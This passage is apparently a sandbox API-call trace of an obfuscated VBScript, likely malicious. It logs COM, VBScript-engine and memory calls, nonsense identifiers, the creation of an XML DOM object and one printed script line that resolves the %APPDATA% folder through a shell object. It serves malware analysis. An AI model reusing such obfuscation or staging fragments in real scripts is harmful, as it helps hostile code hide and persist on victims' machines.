IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.909] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.909] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.909] GetCurrentThreadId () returned 0xd44 [0088.909] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.909] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.909] malloc (_Size=0x804) returned 0x83fc220 [0088.909] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.909] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.909] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.909] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=19) returned 0x0 [0088.909] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.910] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.910] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="AllFata = shellobj.expandEnvironmentStrings(\" % APPD\" + \"ATA %\\\")", varVal2=0x0), pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0088.910] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.910] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0088.910] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.910] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.910] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.910] GetCurrentThreadId () returned 0xd44 [0088.910] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.911] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.911] malloc (_Size=0x804) returned 0x83fc220 [0088.911] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.911] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0088.911] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0088.911] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0088.911] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0088.911] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0088.911] GetCurrentThreadId () returned 0xd44 [0088.911] IUnknown:Release (This=0x11977a8) returned 0x8 [0088.912] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.912] malloc (_Size=0x804) returned 0x83fc220 [0088.912] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0088.912] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0088.912] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0088.912] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Close", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=11) returned 0x0 [0088.912] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.912] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0088.912] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0088.912] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.913] free (_Block=0x1197880) [0088.913] free (_Block=0x86ea2e0) [0088.913] free (_Block=0x83d6fd0) [0088.913] free (_Block=0x83d9f10) [0088.913] ??3@YAXPAX@Z () returned 0xc80001 [0088.914] free (_Block=0x1197838) [0088.914] free (_Block=0x11c29f0) [0088.914] free (_Block=0x11917e0) [0088.914] free (_Block=0x83d9df8) [0088.914] ??3@YAXPAX@Z () returned 0xb60001 [0088.914] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.915] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.915] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.915] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.915] GetCurrentThreadId () returned 0xd44 [0088.915] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.915] ??2@YAPAXI@Z () returned 0x11c2228 [0088.915] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.915] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.915] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.915] GetCurrentThreadId () returned 0xd44 [0088.915] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.915] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.916] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.916] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.916] GetCurrentThreadId () returned 0xd44 [0088.916] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.916] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.916] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.916] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.916] GetCurrentThreadId () returned 0xd44 [0088.916] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.916] malloc (_Size=0x204) returned 0x11917e0 [0088.916] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.917] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.917] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.917] GetCurrentThreadId () returned 0xd44 [0088.917] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.918] ??2@YAPAXI@Z () returned 0x86bff10 [0088.918] malloc (_Size=0x804) returned 0x83fc220 [0088.918] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0088.918] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x154798 | out: lpclsid=0x154798*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0088.918] SysStringLen (param_1=0x0) returned 0x0 [0088.918] CoGetClassObject (in: rclsid=0x154798*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154788 | out: ppv=0x154788*=0x72b7d4b8) returned 0x0 [0088.919] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154784 | out: ppvObject=0x154784*=0x0) returned 0x80004002 [0088.919] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15478c | out: ppvObject=0x15478c*=0x5551e8) returned 0x0 [0088.919] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0088.919] DOMDocument:IUnknown:QueryInterface (in: This=0x5551e8, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154750 | out: ppvObject=0x154750*=0x555214) returned 0x0 [0088.919] ??2@YAPAXI@Z () returned 0x1112b18 [0088.919] DOMDocument:IObjectWithSite:SetSite (This=0x555214, pUnkSite=0x1112b18) returned 0x0 [0088.919] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154604 | out: ppvObject=0x154604*=0x0) returned 0x80004002 [0088.919] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1545f4 | out: ppvObject=0x1545f4*=0x0) returned 0x80004002 [0088.919] DOMDocument:IUnknown:AddRef (This=0x1112b18) returned 0x2 [0088.919] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1546b4 | out: ppvObject=0x1546b4*=0x1112b18) returned 0x0 [0088.920] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153614 | out: ppvObject=0x153614*=0x1112b18) returned 0x0 [0088.920] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535e8 | out: ppvObject=0x1535e8*=0x0) returned 0x80004002 [0088.920] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0088.920] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0088.920] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535e8 | out: ppvObject=0x1535e8*=0x0) returned 0x80004002 [0088.920] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.920] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.920] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1535f0 | out: ppvObject=0x1535f0*=0x0) returned 0x80004002 [0088.920] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0088.920] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0088.920] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1535f0 | out: ppvObject=0x1535f0*=0x0) returned 0x80004002 [0088.920] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.920] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.920] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.920] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0088.920] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0088.920] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.920] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.920] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.920] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.920] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15357c | out: ppvObject=0x15357c*=0x83fd368) returned 0x0 [0088.921] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153578 | out: ppvObject=0x153578*=0x83fd378) returned 0x0 [0088.921] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.921] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.921] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.921] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x3 [0088.921] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15361c | out: ppvObject=0x15361c*=0x0) returned 0x80004002 [0088.921] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153604 | out: ppvObject=0x153604*=0x0) returned 0x80004002 [0088.921] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153620 | out: ppvObject=0x153620*=0x1112b18) returned 0x0 [0088.921] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15360c | out: ppvObject=0x15360c*=0x0) returned 0x80004002 [0088.921] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0088.921] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0088.921] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15360c | out: ppvObject=0x15360c*=0x0) returned 0x80004002 [0088.921] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.921] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.921] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, 